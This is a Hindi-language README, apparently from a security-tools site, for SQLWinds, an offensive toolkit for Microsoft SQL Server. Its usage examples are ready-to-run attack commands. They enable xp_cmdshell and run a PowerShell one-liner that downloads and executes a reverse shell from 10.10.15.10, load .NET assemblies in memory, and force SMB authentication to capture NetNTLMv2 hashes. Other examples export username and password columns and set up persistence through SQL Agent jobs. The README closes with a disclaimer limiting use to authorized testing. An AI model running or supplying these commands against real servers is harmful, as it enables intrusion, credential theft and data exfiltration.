SQLWinds

SQL सुरक्षा मूल्यांकन और पोस्ट-एक्सप्लॉइटेशन टूलकिट

SQLWinds Microsoft SQL Server के सुरक्षा परीक्षण और शोषण के लिए एक कमांड-लाइन टूल है। यह एक इंटरैक्टिव वातावरण प्रदान करता है जिससे सर्वरों का गहन विश्लेषण, विशेषाधिकार वृद्धि, हमले निष्पादित करना, और नेटवर्क में पिवट करना संभव होता है — सभी विशेष कमांड्स के साथ, जैसे इन-मेमोरी कोड निष्पादन और SCCM डेटाबेस अन्वेषण।

📖 दस्तावेज़ और संसाधन

त्वरित लिंक:

• पूर्ण दस्तावेज़ और Wiki - संपूर्ण उपयोग गाइड और कमांड संदर्भ
• कोई समस्या रिपोर्ट करें - कोई बग मिला या फीचर अनुरोध है?
• नवीनतम रिलीज़ - नवीनतम संस्करण डाउनलोड करें

विशेषताएँ

• विविध प्रमाणीकरण: SQL, Windows Integrated (--integrated), और Kerberos delegation (--kerberos with --user/--pass) समर्थन करता है।
• व्यापक एन्यूमरेशन:
  • सर्वर जानकारी, डेटाबेस, टेबल, कॉलम, उपयोगकर्ता और अनुमतियाँ।
  • सुरक्षा कॉन्फ़िगरेशन ऑडिट (xp_cmdshell, CLR, OLE, आदि)।
  • संवेदनशील डेटा खोज और गुप्त डेटा निष्कर्षण।
  • लिंक्ड सर्वर एन्यूमरेशन और शोषण।
• पोस्ट-एक्सप्लॉइटेशन और लेटरल मूवमेंट:
  • कोड निष्पादन: xp_cmdshell, OLE Automation Procedures (sp_oacreate), और CLR इंटीग्रेशन सक्षम करें और उपयोग करें।
  • इन-मेमोरी CLR: फ़ाइलों को डिस्क पर डाले बिना .NET असेंबलियों को सीधे मेमोरी से लोड और निष्पादित करें (:memclr)।
  • क्रेडेंशियल चोरी: रिले हमलों के लिए UNC पथ पर SMB प्रमाणीकरण बाध्य करें (:unc_smb)।
  • रेजिस्ट्री इंटरैक्शन: xp_regread के माध्यम से रेजिस्ट्री कुंजियाँ और मान पढ़ें।
  • पर्सिस्टेंस: SQL Agent Jobs बनाएं, सूचीबद्ध करें और निष्पादित करें।
  • डेटा एक्सफिल्ट्रेशन: फ़ाइलें अपलोड/डाउनलोड करें और क्वेरी परिणामों को CSV/JSON में निर्यात करें।

स्थापना और संकलन

त्वरित बिल्ड

रिपॉजिटरी में Windows पर आसान संकलन के लिए build.bat स्क्रिप्ट शामिल है:

.\build.bat

संकलित SQLWinds.exe निष्पादन योग्य फ़ाइल bin\Release\ निर्देशिका में रखी जाएगी।

मैन्युअल बिल्ड

1. सुनिश्चित करें कि आपके पास .NET Framework (≥ 4.6.1) या .NET SDK स्थापित है।
2. रिपॉजिटरी क्लोन करें:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. समाधान संकलित करें:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

उपयोग

बेसिक कनेक्शन

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

सामान्य कमांड-लाइन विकल्प

इंटरैक्टिव REPL मोड

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

संपूर्ण REPL कमांड संदर्भ

उदाहरण: बड़ी स्क्रिप्ट के लिए :plain का उपयोग

:plain कमांड बड़ी, बहु-पंक्ति SQL स्क्रिप्ट निष्पादित करने के लिए आवश्यक है।

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. :plain टाइप करें और Enter दबाएँ।
2. अपनी पूरी SQL स्क्रिप्ट पेस्ट करें या टाइप करें।
3. एक नई पंक्ति पर, पूरी स्क्रिप्ट चलाने के लिए :execute टाइप करें या रद्द करने के लिए :cancel टाइप करें।

उदाहरण

1. ऑडिट

SQLWinds.exe --server dc01 --integrated --security-audit 

2. कोड निष्पादन के लिए xp_cmdshell का उपयोग

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. इन-मेमोरी CLR निष्पादन (फ़ाइललेस)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. SRelay के माध्यम से NetNTLMv2 हैश चुराना

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. SCCM डेटाबेस शोषण

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. डेटा एक्सफिल्ट्रेशन

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 योगदान और सहायता

हम योगदान का स्वागत करते हैं! यदि आपके पास सुधार के विचार हैं या कोई समस्या मिलती है:

1. दस्तावेज़ीकरण के लिए Wiki देखें
2. डुप्लिकेट से बचने के लिए मौजूदा Issues खोजें
3. अपने सुझाव या बग रिपोर्ट के बारे में विस्तृत जानकारी के साथ एक नया issue बनाएं

⚠️ अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके मालिक आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है, अवैध है। डेवलपर्स इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेते हैं और ज़िम्मेदार नहीं हैं।

श्रेय

विकसित: blue0x1।